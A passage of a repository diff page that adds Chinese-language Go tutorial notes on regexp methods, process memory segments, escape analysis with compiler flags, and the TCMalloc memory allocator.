func (re *Regexp) FindSubmatch(b []byte) [][]byte
|
||||
func (re *Regexp) FindSubmatchIndex(b []byte) []int
|
||||
```
|
||||
上面这18个函数我们根据输入源(byte slice、string和io.RuneReader)不同还可以继续简化成如下几个,其他的只是输入源不一样,其他功能基本是一样的:
|
||||
```Go
|
||||
|
||||
func (re *Regexp) Find(b []byte) []byte
|
||||
func (re *Regexp) FindAll(b []byte, n int) [][]byte
|
||||
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
|
||||
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
|
||||
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
|
||||
func (re *Regexp) FindIndex(b []byte) (loc []int)
|
||||
func (re *Regexp) FindSubmatch(b []byte) [][]byte
|
||||
func (re *Regexp) FindSubmatchIndex(b []byte) []int
|
||||
```
|
||||
对于这些函数的使用我们来看下面这个例子
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
func main() {
|
||||
a := "I am learning Go language"
|
||||
|
||||
re, _ := regexp.Compile("[a-z]{2,4}")
|
||||
|
||||
//查找符合正则的第一个
|
||||
one := re.Find([]byte(a))
|
||||
fmt.Println("Find:", string(one))
|
||||
|
||||
//查找符合正则的所有slice,n小于0表示返回全部符合的字符串,不然就是返回指定的长度
|
||||
all := re.FindAll([]byte(a), -1)
|
||||
fmt.Println("FindAll", all)
|
||||
|
||||
//查找符合条件的index位置,开始位置和结束位置
|
||||
index := re.FindIndex([]byte(a))
|
||||
fmt.Println("FindIndex", index)
|
||||
|
||||
//查找符合条件的所有的index位置,n同上
|
||||
allindex := re.FindAllIndex([]byte(a), -1)
|
||||
fmt.Println("FindAllIndex", allindex)
|
||||
|
||||
re2, _ := regexp.Compile("am(.*)lang(.*)")
|
||||
|
||||
//查找Submatch,返回数组,第一个元素是匹配的全部元素,第二个元素是第一个()里面的,第三个是第二个()里面的
|
||||
//下面的输出第一个元素是"am learning Go language"
|
||||
//第二个元素是" learning Go ",注意包含空格的输出
|
||||
//第三个元素是"uage"
|
||||
submatch := re2.FindSubmatch([]byte(a))
|
||||
fmt.Println("FindSubmatch", submatch)
|
||||
for _, v := range submatch {
|
||||
fmt.Println(string(v))
|
||||
}
|
||||
|
||||
//定义和上面的FindIndex一样
|
||||
submatchindex := re2.FindSubmatchIndex([]byte(a))
|
||||
fmt.Println(submatchindex)
|
||||
|
||||
//FindAllSubmatch,查找所有符合条件的子匹配
|
||||
submatchall := re2.FindAllSubmatch([]byte(a), -1)
|
||||
fmt.Println(submatchall)
|
||||
|
||||
//FindAllSubmatchIndex,查找所有字匹配的index
|
||||
submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1)
|
||||
fmt.Println(submatchallindex)
|
||||
}
|
||||
```
|
||||
前面介绍过匹配函数,Regexp也定义了三个函数,它们和同名的外部函数功能一模一样,其实外部函数就是调用了这Regexp的三个函数来实现的:
|
||||
```Go
|
||||
|
||||
func (re *Regexp) Match(b []byte) bool
|
||||
func (re *Regexp) MatchReader(r io.RuneReader) bool
|
||||
func (re *Regexp) MatchString(s string) bool
|
||||
```
|
||||
接下里让我们来了解替换函数是怎么操作的?
|
||||
```Go
|
||||
|
||||
func (re *Regexp) ReplaceAll(src, repl []byte) []byte
|
||||
func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte
|
||||
func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte
|
||||
func (re *Regexp) ReplaceAllLiteralString(src, repl string) string
|
||||
func (re *Regexp) ReplaceAllString(src, repl string) string
|
||||
func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string
|
||||
```
|
||||
这些替换函数我们在上面的抓网页的例子有详细应用示例,
|
||||
|
||||
接下来我们看一下Expand的解释:
|
||||
```Go
|
||||
|
||||
func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte
|
||||
func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte
|
||||
```
|
||||
那么这个Expand到底用来干嘛的呢?请看下面的例子:
|
||||
```Go
|
||||
|
||||
func main() {
|
||||
src := []byte(`
|
||||
call hello alice
|
||||
hello bob
|
||||
call hello eve
|
||||
`)
|
||||
pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)
|
||||
res := []byte{}
|
||||
for _, s := range pat.FindAllSubmatchIndex(src, -1) {
|
||||
res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)
|
||||
}
|
||||
fmt.Println(string(res))
|
||||
}
|
||||
```
|
86
08-Go运行时/01-内存分区.md
Normal file
86
08-Go运行时/01-内存分区.md
Normal file
@ -0,0 +1,86 @@
|
||||
## 零 前置知识
|
||||
|
||||
操作系统的每个进程都认为自己可以访问计算机的所有物理内存,但由于计算机必定运行着多个程序,每个进程都不能拥有全部内存。
|
||||
|
||||
> 为了避免了进程直接访问实际的物理地址,操作系统会将物理内存虚拟为一个数组,每个元素都有一个唯一的物理地址(PA)。
|
||||
> 物理存储其器中存储着一个页表(page table),该表即虚拟地址与物理地址的映射表,读取该也表,即可完成地址翻译。
|
||||
|
||||
假设一个程序访问地址为0x1001的内存,实际上,该数据并不一定是存储在0x1001的物理地址中,甚至也不在物理内存中(如果物理内存满了,则可以转移到磁盘上)。这些地址不必反映真实的物理地址,可以称为“虚拟内存”。
|
||||
|
||||
## 一 内存分区
|
||||
|
||||
### 1.0 程序的内存使用
|
||||
|
||||
现在使用命令来查看Go程序的内存使用:
|
||||
```
|
||||
go build main.go
|
||||
size main
|
||||
```
|
||||
|
||||
此时会显示Go程序在未启动时,内存的使用情况:
|
||||
|
||||
![](../images/go/runtime-01.png)
|
||||
|
||||
此时可执行程序内部已经分好了三段信息,分别为:
|
||||
- text 代码区
|
||||
- data 数据区
|
||||
- bss 未初始化数据区
|
||||
|
||||
贴士:
|
||||
data和bss区域可以一起称呼为静态区/全局区
|
||||
- 上述三个区域大小都是固定的
|
||||
|
||||
程序在执行后,会额外增加栈区、堆区。
|
||||
|
||||
### 1.1 text 代码区
|
||||
|
||||
代码区用于存放CPU执行的机器指令,一般情况下,代码区具备以下特性:
|
||||
- **共享**:即可以提供给其他程序调用,这样就可以让代码区的数据在内存中只存放一份即可,有效节省空间。
|
||||
- **只读**:用于放置程序修改其指令
|
||||
- 规划局部变量信息
|
||||
|
||||
### 1.2 data 数据区
|
||||
|
||||
数据区用于存储数据:
|
||||
- 被初始化后的全局变量
|
||||
- 被初始化后的静态变量(包含全局静态变量、局部静态变量)
|
||||
- 常量数据(如字符串常量)
|
||||
|
||||
### 1.3 bss 未初始化数据区
|
||||
|
||||
未初始化数据区用于存储:
|
||||
- 全局未初始化变量
|
||||
- 未初始化静态变量
|
||||
|
||||
如果是C语言,未初始化,却被使用了,这会产生一个随机的值。Go语言中,为了防止C的这种现象,该区域的数据会在程序执行之前被初始化为零值(0或者空)。
|
||||
|
||||
### 1.4 stack 栈区
|
||||
|
||||
栈是一种先进后出(FILO)的内存结构,由编译器自动进行分配和释放。一般用于存储:函数的参数值、返回值、局部变量等。栈区大小一般只有1M,也可以实现扩充:
|
||||
- Windows最大可以扩充为10M
|
||||
- Linux最大可以扩充为16M
|
||||
|
||||
### 1.5 heap 堆区
|
||||
|
||||
栈的内存空间非常小,当我们遇到一些大文件读取时,栈区是不够存储的,这时候就会用到堆区。堆区空间比较大,其大小与计算机硬件的内存大小有关。
|
||||
|
||||
堆区没有栈的先进后出的规则,位于BSS区域栈区之间,用于内存的动态分配。
|
||||
|
||||
在C、C++等语言中,该部分内存由程序员手动分配(c中的malloc函数,c++中的new函数)和释放(C中的free函数,C++的delete函数),如果不释放,可能会造成内存泄露,但是程序结束时,操作系统会进行回收。
|
||||
|
||||
在Java、Go、JavaScript中,都有垃圾回收机制(GC),可以实现内存的自动释放!
|
||||
|
||||
|
||||
注意:Go语言与其他语言不同,对栈区、堆区进行虚拟管理。
|
||||
|
||||
### 1.6 操作系统内存分配图
|
||||
|
||||
操作系统会为每个进程分配一定的内存地址空间,如图所示:
|
||||
|
||||
![](../images/go/runtime-02.svg)
|
||||
|
||||
上图所示的是32位系统中虚拟内存的分配方式,不同系统分配的虚拟内存是不同的,但是其数据所占区域的比例是相同的:
|
||||
- 32位:最大内存地址为2<sup>32</sup>,这么多的字节数换算为G单位,即为4G。(换算为1G=1024MB=1024*1024KB=1024*1024*1024B)
|
||||
- 64位:最大内存地址为2<sup>64</sup>,这么多的字节数换算为G单位,数值过大,不便图示
|
||||
|
||||
注意:**栈区是从高地址往低地址存储的**
|
146
08-Go运行时/02-逃逸分析.md
Normal file
146
08-Go运行时/02-逃逸分析.md
Normal file
@ -0,0 +1,146 @@
|
||||
## 一 变量逃逸
|
||||
|
||||
由于栈的性能相对较高,变量是分配到了栈,还是堆中,对程序的性能和安全有较大影响。
|
||||
|
||||
逃逸分析是一种确定指针动态范围的方法,用来分析程序的哪些地方可以访问到指针。当一个变量或对象在子程序中分配内存时,一个指向变量或对象的指针可能逃逸到其他执行线程中,甚至去调用子程序。
|
||||
|
||||
指针逃逸:一个对象的指针在任何一个地方都可以访问到。
|
||||
|
||||
逃逸分析的结果可以用来保证指针的声明周期只在当前进程或线程中。
|
||||
|
||||
```go
|
||||
func toHeap() *int {
|
||||
var x int
|
||||
return &x
|
||||
}
|
||||
|
||||
func toStack() int {
|
||||
x := new(int)
|
||||
*x = 1
|
||||
return *x
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
上述两个函数分别创建了2个变量,但是申请的位置是不一样的。打开逃逸分析日志:
|
||||
```
|
||||
go run -gcflags '-m -l' main.go
|
||||
# command-line-arguments
|
||||
./main.go:4:6: moved to heap: x
|
||||
./main.go:9:10: toStack new(int) does not escape
|
||||
```
|
||||
|
||||
如上所示,toHeap()中的x分配到了堆上,toStack()中的x最后分配到了栈上。`does not escape` 表示未逃逸。同样是变量内存的申请,两个函数获得的位置却是不一样的!!
|
||||
|
||||
这是因为go在一定程序上消除了堆和栈的区别,在编译的时候会自动进行变量逃逸分析,不逃逸的对象就放到栈上,可能逃逸的对象就放到堆上。
|
||||
- 一般情况下,函数的局部变量会分配到函数栈上
|
||||
- 变量在函数return之后还被引用,会被分配到堆上,比如上述的案例`toHeap()`
|
||||
|
||||
|
||||
Go的GC判断变量是否回收的实现思路:从每个包级的变量、每个当前运行的函数的局部变量开始,通过指针和引用的访问路径遍历,是否可以找到该变量,如果不存在这样的访问路径,那么说明该变量是不可达的,也就是说它是否存在并不会影响后续计算结果。
|
||||
|
||||
示例:
|
||||
```go
|
||||
var global *int
|
||||
func f() {
|
||||
var x int
|
||||
x = 1
|
||||
global = &x
|
||||
}
|
||||
func g() {
|
||||
y := new(int)
|
||||
*y = 1
|
||||
}
|
||||
```
|
||||
上述的函数调用结果说明:
|
||||
- 虽然x变量定义在f函数内部,但是其必定在堆上分配,因为函数退出后仍然能通过包一级变量global找到,这样的变量,我们称之为从函数f中逃逸了
|
||||
- g函数返回时,变量*y不可达,因此没有从函数g中逃逸,其内存分配在栈上,会马上被被回收。(当然也可以选择在堆上分配,然后由Go语言的GC回收这个变量的内存空间)
|
||||
|
||||
## 二 变量逃逸分析案例
|
||||
|
||||
### 2.1 案例一
|
||||
|
||||
在C++中,开发者需要自己手动分配内存来适应不同的算法需求。比如,函数局部变量尽量使用栈(函数退出,内部变量也依次退出),全局变量、结构体使用堆。
|
||||
|
||||
Go语言将这个过程整合到了编译器中,命名为“变量逃逸分析”,这个技术由编译器分析代码的特征和代码生命期,决定是堆还是栈进行内存分配。
|
||||
|
||||
```go
|
||||
func test(num int) int {
|
||||
var t int
|
||||
t = num
|
||||
return t
|
||||
}
|
||||
|
||||
//空函数,什么也不做
|
||||
func void() {
|
||||
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
var a int //声明变量并打印
|
||||
void() //调用空函数
|
||||
fmt.Println(a, test(0)) //打印a,并调用test
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
运行上述代码:
|
||||
```
|
||||
# -gcflags参数是编译参数,-m表示进行内存分析,-l表示避免程序内联(优化)
|
||||
go run -gcflags "-m -l" test.go
|
||||
```
|
||||
|
||||
得到结果:
|
||||
```
|
||||
# command-line-arguments
|
||||
./test.go:22:13: a escapes to heap # 29行的变量a逃逸到堆
|
||||
./test.go:22:21: test(0) escapes to heap # test(0)调用逃逸到堆
|
||||
./test.go:22:13: main ... argument does not escape # 默认提示
|
||||
0 0
|
||||
```
|
||||
|
||||
test(0)调用逃逸到堆,但是test()函数会返回一个整数值,这个值被fmt.Println()使用后还是会在其声明后继续在main函数中存在。
|
||||
|
||||
test函数中的声明的变量t是整型,该值通过test函数返回值逃出了函数,t变量的值被复制并作为test函数的返回值返回,即使t在test函数中分配的内存被释放,也不会影响main函数中使用test返回的值,t变量使用栈分配不会影响结果。
|
||||
|
||||
|
||||
### 2.2 案例2
|
||||
|
||||
```go
|
||||
type Data struct {
|
||||
|
||||
}
|
||||
|
||||
func test() *Data {
|
||||
var d Data
|
||||
return &d // 返回局部变量地址
|
||||
}
|
||||
|
||||
func main() {
|
||||
fmt.Println(test()) //输出 &{}
|
||||
}
|
||||
```
|
||||
|
||||
继续使用命令:`go run -gcflags "-m -l" test.go`
|
||||
```
|
||||
# command-line-arguments
|
||||
./test.go:11:9: &d escapes to heap
|
||||
./test.go:10:6: moved to heap: d # 新增提示:将d移到堆中
|
||||
./test.go:15:18: test() escapes to heap
|
||||
./test.go:15:13: main ... argument does not escape
|
||||
&{}
|
||||
```
|
||||
|
||||
` moved to heap: d` 表示go编译器已经确认如果c变量被分配在栈上是无法保证程序最终结果的,如果坚持这样做,test()的返回值是僵尸Data结构的一个不可预知的内存地址。这种情况一般是C/C++语言中容易犯错的地方:引用了一个函数局部变量的地址。Go最终选择将d的Data结构分配到堆上,然后由垃圾回收期去回收c的内存。
|
||||
|
||||
## 三 原则总结
|
||||
|
||||
在使用Go语言进行编程时,Go语言设计者不希望开发者将精力放在内存应该分配在栈还是堆上,编译器会自动帮助开发者完成这个纠结的选择。
|
||||
|
||||
编译器觉得变量应该分配在堆还是栈上的原则是:
|
||||
- 变量是否被取地址
|
||||
- 变量是否发生逃逸
|
103
08-Go运行时/03-内存分配器TCMalloc.md
Normal file
103
08-Go运行时/03-内存分配器TCMalloc.md
Normal file
@ -0,0 +1,103 @@
|
||||
## 一 内存分配器
|
||||
|
||||
### 1.0 Golang的内存分配器TCMalloc
|
||||
|
||||
Go的内存分配基于TCMalloc(Thread-Cacing Malloc,Google开发的一款高性能内存分配器),源码位于`runtime/malloc.go`。但是经过多年发展,Go的内存分配算法已经大幅进化,但是学习TCMalloc仍然能看到一些Go内存分配的基础。
|
||||
|
||||
Go采用离散式空闲列表算法(Segregated Free List)分配内存,主要核心算法思想是:
|
||||
- 线程私有性
|
||||
- 内存分配粒度
|
||||
|
||||
### 1.1 线程私有性
|
||||
|
||||
TCMalloc内存管理体系分为三个层次:
|
||||
- ThreadCache:一般与负责小内存分配,每个线程都拥有一份ThreadCache,理想情况下,每个线程的内存申请都可以在自己的ThreadCache内完成,线程之间无竞争,所以TCMalloc非常高效,这既是**TCMalloc的线程私有性**
|
||||
- CentralCache:内部含有多个CentralFreelist
|
||||
- PageHeap:与负责大内存分配,是中央堆分配器,被所有线程共享,可以与操作系统直接交互(申请、释放内存),大尺寸内存分配会直接通过PageHeap分配
|
||||
|
||||
TCMalloc具备线程私有性质,然而现实往往是骨感的!ThreadCache中内存不足时,还需要其他2个组件帮助,内存的分配、释放从上述三个层级中依次递进:当最小的Thread层分配内存失败,则从下一层的CentralCache中分配一批补充上来。
|
||||
|
||||
CentralFreeList是TheadCache和PageHeap之间协调者。
|
||||
- 分配内存:CentralFreeList会将PageHeap中的内存切分为小块,分配给ThreadCache。
|
||||
- 释放内存:CentralFreeList会获取从ThreadCache中回收的内存,归还给PageHeap。
|
||||
|
||||
如图所示:
|
||||
![](../images/go/runtime-03.svg)
|
||||
|
||||
### 1.2 内存分配粒度
|
||||
|
||||
内存分配调度的最小单位也称为粒度,TCMalloc有两种分配粒度:
|
||||
- span:用于内部管理。span是由连续的page内存组成的一个大块内存,负责分配超过256KB的大内存
|
||||
- object:用于面向对象分配。object是由span切割成的小块,其尺寸被预设了一些规格(class),如16B,32B(88种),不会大于256KB(交给了span)。同一个span切出来的都是相同的object。
|
||||
|
||||
贴士:ThreadCache和CentralCache是管理object的,PageHeap管理的是span。
|
||||
|
||||
如图所示(每个class对应一个链表):
|
||||
|
||||
![](../images/go/runtime-04.svg)
|
||||
|
||||
在申请小内存(小于256KB时),TCMalloc会根据申请内存的大小,匹配到与之大小最接近的class中,如:
|
||||
- 申请O~8B大小时,会被匹配到 class1 中,分配 8B 大小
|
||||
- 申请9~16B大小时,会被匹配到 class2 中,分配 16 B大小
|
||||
|
||||
上述的分配方式可以既非常灵活,又能极大避免内存浪费!
|
||||
|
||||
## 二 内存分配
|
||||
|
||||
### 2.0 分配的第一步
|
||||
|
||||
分配器以page为单位,向操作系统申请“大块内存”,这些大块内存由n个地址连续的page组成,并用名为span的对象进行管理。
|
||||
|
||||
示例:现在拥有128page的span,如果要申请1page的span,则该span会被划分为2个:1+127,再把127page的span记录下来。
|
||||
|
||||
### 2.1 小内存分配
|
||||
|
||||
小内存分配对应的ThreadCache是TCMalloc三级分配的第一层,是一个TSL线程本地存储对象,负责小于256KB的内存申请。每个线程都独立拥有各自的离散式空闲列表,所以分配过程不需要锁,分配速度很高。
|
||||
|
||||
ThreadCache在分配小内存时,首先会通过SizeMap查找要分配的内存所对应的class以及object大小,然后检查空闲列表(free list)是否为空:
|
||||
- 如果非空,表示线程还有空闲的内存,那么直接从列表中移除第一个object并返回,这个过程不需要任何锁!
|
||||
- 如果未空,表示线程没有空闲的内存,那么从哪个CentralFreeList中获取若干object,因为CentralCache是被所有线程共享的,能够获取多少object是由慢启动算法决定的。获取的object会被分配到ThreadCache对应的class列表中,最终取出其中一个object返回
|
||||
|
||||
如果CentralFreeList中的object也不够用,则会向PageHeap申请一连串页面,这些页面被切割为一系列object,再将部分object转移给ThreadCache。
|
||||
|
||||
如果PageHeap也不够用了,则会向操作系统申请内存(page为单位),Go中此处使用mmap方法申请,或者通过在/dev/mem中映射。申请完毕后继续上面的操作,将内存逐级递送给线程。
|
||||
|
||||
|
||||
### 2.2 CentralCache
|
||||
|
||||
CentralCache内部含有多个CentralFreelist,即针对每一种class的object。ThreadCache维护的是object链表,CentralFreelist维护的是span链表。
|
||||
|
||||
CentralFreelist示意图:
|
||||
|
||||
![](../images/go/runtime-05.svg)
|
||||
|
||||
在 span 内的 object 都已经空闲(free)的情况下,将 span 整体回收给 PageHeap。( span.refcount_记录了被分配出去的 object 个数〉。但是如果每个回收的 object 都需要寻找自己所属的 span,然后才能挂进freelist,这样就比较耗时了。所以 CentralFreeList 里面还
|
||||
维护了一个缓存 (tc_slots_),回收的若干 object 先往缓存里塞,不管 object 大小如何,缓存满了再分类放进相应 span 的 object 链。相反,如果 ThreadCache 申请 object,也是先尝试在缓存里面给,没了再去 span 链那里申请。
|
||||
|
||||
那么这个若干具体是多少个 object 呢?其实这是预定义的,称作 batch size,不同的class 可能有不同的值。 ThreadCache 向 Central Cache 分配或回收 object 时,都尽量以batch_size 为一个批次。而为了使得缓存简单高效,如果某次分配或者回收的 object 个数小于 batch size,则会绕过缓存,直接处理。
|
||||
|
||||
为了避免在分配 object 时判断 span 是否为空,CentralFreeList 里的 span 链表被分为两个,分别是 nonempty_ 和 empty_,根据 span 的 objects 链是否有空闲,放入对应链表。当到了需要分配时,只需要在由空变非空、或者由非空变空时移动 span 就可以了。
|
||||
|
||||
CentralFreeList 作为整个体系的中间人,它从 PageHeap 中获得 span ,并按照预定大小( SizeMap 中的定义)将其分割成大小固定的 object ,然后 ThreadCache 可以共享 CentralFreeList 列表。
|
||||
|
||||
当 ThreadCache 需要从 CentralFreeList 中获取 object 时,会从 nonempty 链表中获取第一个 span,并从这个 span 的 object 链表中获取可用 object 返回 。 当该 span 无可用 object时,将此span 从 nonempty_链表移除,并挂到 empty一链表上。
|
||||
|
||||
当 ThreadCache 把 object 归还给 CentralFreeList 时,object 会找到它所属的 span,并挂载到 object 链表表头,如果 span 处在 empty_链表, CentralFreeList 会重新将其挂载到nonempty_链表。
|
||||
|
||||
span 里还有一个值用于计算 object 是否己满,每次分配出 去一个 object, refcount 值就会加 1 ,每回收一个 object 就会减 1 ,如果 refcount 等于 0 就表示此 span 所有 object 都
|
||||
回家了,然后 span 会从 CentralFreeList 的链表中释放,并将其退还给上一层 的 PageHeap 。
|
||||
|
||||
### 2.3 大内存分配
|
||||
|
||||
如果遇到要分配的内存大于page这个单位,就需要多个page来分配,即将多个page组成一个span来分配。
|
||||
|
||||
TCMalloc中定义的page大小为8KB(Linux中为4KB),其每次向操作系统申请内存的大小至少为1page。
|
||||
|
||||
PageHeap虽然按page申请内存,但是其内存基本单位是span(一个地址连续的page)。PageHeap内部维护了一个核心关系:page与span的映射关系。 当释放回收一个 object 时 ,把 object 放回原来的位置需要 CentralFreeList 来处理( object 放回原来的 span,然后才还给 PageHeap ),但是之所以能够放回对应的 span 里是因为有 page 到 span 的映射
|
||||
关系,地址值经过地址对齐,很容易知道它属于哪一个 page。再通过 page 到 span 的映射关系就能知道 object 应该放到哪里。
|
||||
|
||||
span.sizeclass 记录了 span 切分的 object 属于哪个 class ,那么属于这个 span 的 object在释放时就可以放到 ThreadCache 对应 class 的 FreeList 上面,接下来 object 如果要回收还给 CentralFreeList,就可以直接把它挂到对应 span 的 objects 链表上。
|
||||
|
||||
page 到 span 的映射关系是基于 radix tree 实现的,你可以把它理解为一种很大的数组,用 page 值作为偏移可以访问到 page 所对应的 span (也有多个 page 指向 同一个 span 的情况,因为 span 有时可不止一个 page ) 。查询 radix tree 需要消耗一定时间,所以为了避免这些开销, PageHeap 和 CentralFreeList 类似,维护了 一个最近活跃的 page 到 class 对应关系的缓存。为了保持缓存的效率,缓存只有 64KB,旧的对应关系会被新来的对应关系替换掉。
|
||||
|
||||
当需要某个尺寸的 span 没有空闲时,可以把更大尺寸的 span 拆分,如果大的 span也没有了,就是向操作系统要的时候了;回收时-,也需要判断相邻的 span 是否空闲,以便将它们组合。 判断相邻 span 还是使用 radix tree 查询,这种数据结构就像一个大数组,可以获取当前 span 前后相邻的 span 地址。span 的尺寸有从 1 page 到 255 page 的所有规格,所以 span 可以以 page 为单位,用任意尺寸进行拆分和组合。
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user